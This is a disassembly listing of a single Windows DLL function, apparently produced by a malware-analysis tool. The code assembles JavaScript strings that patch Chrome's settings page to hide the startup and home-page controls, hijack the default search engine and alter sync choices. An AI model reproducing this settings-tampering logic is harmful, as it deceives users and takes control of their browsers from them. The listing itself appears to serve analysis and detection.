Function at 0x10049ae0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x100bc8da
mov eax, dword fs:[0]
push eax
sub esp, 0x2b0
mov eax, dword [0x100fc018]
xor eax, esp
mov dword [esp + 0x2ac], eax
push ebx
push ebp
push edi
mov eax, dword [0x100fc018]
xor eax, esp
push eax
lea eax, [esp + 0x2c0]
mov dword fs:[0], eax
mov bl, cl
mov eax, dword [str.e4ztKWeEfZVdHgRAQwFk513cgXM3flBIpYDs36lk7hS7yN5CLKLcS4]
test bl, bl
jne 0x10049b2a
mov eax, str.images_2x_google_logo.png
push eax
lea ecx, [esp + 0x74]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
xor ebp, ebp
mov dword [esp + 0x2c8], ebp
mov eax, str.if__true_
test bl, bl
jne 0x10049b4c
mov eax, str.if__configData.isGooglePage_
push eax
lea ecx, [esp + 0x58]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str.event.value__notification_1__
lea ecx, [esp + 0x90]
mov byte [esp + 0x2cc], 1
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str.event.value__notification_1___event.CalledFromPrefsChanged__1_
lea ecx, [esp + 0xac]
mov byte [esp + 0x2cc], 2
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str.onRestoreOnStartupChanged_:_function_event__
lea ecx, [esp + 0xc8]
mov byte [esp + 0x2cc], 3
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str....................................._RestoreOnStartupChanged__..
lea ecx, [esp + 0x20]
mov byte [esp + 0x2cc], 4
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push eax
lea eax, [esp + 0x3c]
mov byte [esp + 0x2cc], 5
mov edi, dword [sym.imp.MSVCP90.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push str.onRestoreOnStartupChanged_:_function_event___if__event.CalledFromPrefsChanged__1___var_marker__
push eax
call edi
push str.__OptionsPage.setTitle__marker___setTimeout_function_title_OptionsPage.setTitle__title____500__this.title___
push eax
lea ecx, [esp + 0xf4]
mov byte [esp + 0x2dc], 6
mov ebx, dword [sym.imp.MSVCP90.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
push ecx
call ebx
add esp, 0x18
lea ecx, [esp + 0x38]
mov byte [esp + 0x2c8], 8
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x1c]
mov byte [esp + 0x2c8], 9
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push str.__startup_set_pages_.disabled__event.value.disabled_
lea ecx, [esp + 0x100]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str....................................._RestoreOnStartupChanged__..
lea ecx, [esp + 0x3c]
mov byte [esp + 0x2cc], 0xa
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push eax
lea edx, [esp + 0x20]
push str.__startup_set_pages_.disabled__event.value.disabled__if__event.CalledFromPrefsChanged__1___var_title__document.title__OptionsPage.setTitle__
push edx
mov byte [esp + 0x2d4], 0xb
call edi
push str.___OptionsPage.setTitle__title___
push eax
lea eax, [esp + 0x12c]
push eax
mov byte [esp + 0x2e0], 0xc
call ebx
add esp, 0x18
lea ecx, [esp + 0x1c]
mov byte [esp + 0x2c8], 0xe
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x38]
mov byte [esp + 0x2c8], 0xf
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push str.__home_page_ntp_.hidden___event.value.value_
lea ecx, [esp + 0x138]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str....................................._HomePageChanged__..
lea ecx, [esp + 0x3c]
mov byte [esp + 0x2cc], 0x10
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push eax
lea ecx, [esp + 0x20]
push str.__home_page_ntp_.hidden___event.value.value__if__event.CalledFromPrefsChanged__1___var_title__document.title__OptionsPage.setTitle__
push ecx
mov byte [esp + 0x2d4], 0x11
call edi
push str.___OptionsPage.setTitle__title___
push eax
lea edx, [esp + 0x164]
push edx
mov byte [esp + 0x2e0], 0x12
call ebx
add esp, 0x18
lea ecx, [esp + 0x1c]
mov byte [esp + 0x2c8], 0x14
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x38]
mov byte [esp + 0x2c8], 0x15
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push str.__home_page_url_.textContent__this.stripHttp__event.value.value__
lea ecx, [esp + 0x170]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str....................................._HomePageChanged__..
lea ecx, [esp + 0x3c]
mov byte [esp + 0x2cc], 0x16
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push eax
lea eax, [esp + 0x20]
push str.__home_page_url_.textContent__this.stripHttp__event.value.value___if__event.CalledFromPrefsChanged__1___var_title__document.title__OptionsPage.setTitle__
push eax
mov byte [esp + 0x2d4], 0x17
call edi
push str.___OptionsPage.setTitle__title___
push eax
lea ecx, [esp + 0x19c]
push ecx
mov byte [esp + 0x2e0], 0x18
call ebx
add esp, 0x18
lea ecx, [esp + 0x1c]
mov byte [esp + 0x2c8], 0x1a
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x38]
mov byte [esp + 0x2c8], 0x1b
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push str.chrome.send_managerSetDefaultSearchEngine___engine.modelIndex___
lea ecx, [esp + 0x1a8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str....................................._SearchEngineChanged__..
lea ecx, [esp + 0x3c]
mov byte [esp + 0x2cc], 0x1c
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push eax
lea edx, [esp + 0x20]
push str.chrome.send_managerSetDefaultSearchEngine___engine.modelIndex____setTimeout_function_title_OptionsPage.setTitle__title____500__document.title___var_marker__
push edx
mov byte [esp + 0x2d4], 0x1d
call edi
mov byte [esp + 0x2d4], 0x1e
push str.__OptionsPage.setTitle__marker__
push eax
lea eax, [esp + 0x1d4]
push eax
call ebx
add esp, 0x18
lea ecx, [esp + 0x1c]
mov byte [esp + 0x2c8], 0x20
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x38]
mov byte [esp + 0x2c8], 0x21
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push str.var_engineSelect____default_search_engine__
lea ecx, [esp + 0x1e0]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str....................................._SearchEngineChanged__..
lea ecx, [esp + 0x3c]
mov byte [esp + 0x2cc], 0x22
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push eax
lea ecx, [esp + 0x20]
push str.var_engineSelect____default_search_engine___setTimeout_function_title_OptionsPage.setTitle__title____500__document.title___var_marker__
push ecx
mov byte [esp + 0x2d4], 0x23
call edi
push str.__OptionsPage.setTitle__marker__
push eax
lea edx, [esp + 0x20c]
push edx
mov byte [esp + 0x2e0], 0x24
call ebx
add esp, 0x18
lea ecx, [esp + 0x1c]
mov byte [esp + 0x2c8], 0x26
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x38]
mov byte [esp + 0x2c8], 0x27
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push str.sendConfiguration_:_function___
lea ecx, [esp + 0x218]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str.sendConfiguration_:_function______preferences_checkbox_.checked__false____sync_select_datatypes_.selectedIndex__DataTypeSelection.CHOOSE_WHAT_TO_SYNC_
lea ecx, [esp + 0x234]
mov byte [esp + 0x2cc], 0x28
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str.if__configData.isGooglePage_
lea ecx, [esp + 0x250]
mov byte [esp + 0x2cc], 0x29
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea eax, [esp + 0x54]
push eax
lea ecx, [esp + 0x26c]
mov byte [esp + 0x2cc], 0x2a
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push str.images_2x_google_logo.png
lea ecx, [esp + 0x288]
mov byte [esp + 0x2cc], 0x2b
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0x70]
push ecx
lea ecx, [esp + 0x2a4]
mov byte [esp + 0x2cc], 0x2c
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov byte [esp + 0x2c8], 0x2d
mov ecx, dword [esi + 0x1c]
mov dword [esp + 0x14], ebp
sub ecx, dword [esi + 0x18]
mov eax, 0x66666667
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x1004a03b
mov dword [esp + 0x10], ebp
mov ecx, dword [esi + 0x1c]
sub ecx, dword [esi + 0x18]
mov eax, 0x66666667
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ebp, ecx
jb 0x10049f6f
call dword [sym.imp.MSVCR90.dll__invalid_parameter_noinfo]
mov edx, dword [esi + 0x18]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
add dword [eax + edx + 4], ecx
lea eax, [eax + edx + 4]
lea edi, [esp + 0x8c]
mov dword [esp + 0x18], 0xa
mov ecx, dword [esi + 0x1c]
sub ecx, dword [esi + 0x18]
mov eax, 0x66666667
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp ebp, eax
jb 0x10049fb2
call dword [sym.imp.MSVCR90.dll__invalid_parameter_noinfo]
mov eax, dword [esi + 0x18]
add eax, dword [esp + 0x10]
lea ecx, [edi + 0x1c]
push ecx
lea ebx, [eax + 0xc]
call fcn.10044850
add esp, 4
test al, al
je 0x1004a008
mov eax, dword [edi + 0x30]
sub eax, dword [edi + 0x14]
mov ecx, dword [esi + 0x1c]
sub ecx, dword [esi + 0x18]
mov ebx, eax
mov eax, 0x66666667
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp ebp, eax
jb 0x10049ff5
call dword [sym.imp.MSVCR90.dll__invalid_parameter_noinfo]
mov ecx, dword [esi + 0x18]
mov edx, dword [esp + 0x10]
add dword [edx + ecx + 8], ebx
add dword [esp + 0x14], ebx
lea eax, [edx + ecx + 8]
add edi, 0x38
sub dword [esp + 0x18], 1
jne 0x10049f91
mov ecx, dword [esi + 0x1c]
sub ecx, dword [esi + 0x18]
add dword [esp + 0x10], 0x28
mov eax, 0x66666667
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc ebp
add eax, edx
cmp ebp, eax
jb 0x10049f4e
mov byte [esp + 0x2c8], 1
mov ecx, dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push ecx
push 0x14
push 0x1c
lea edx, [esp + 0x98]
push edx
call fcn.100ba38a
lea ecx, [esp + 0x54]
mov byte [esp + 0x2c8], 0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x70]
mov dword [esp + 0x2c8], 0xffffffff
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
mov ecx, dword [esp + 0x2c0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 0x2ac]
xor ecx, esp
call fcn.100ba2f9
add esp, 0x2bc
ret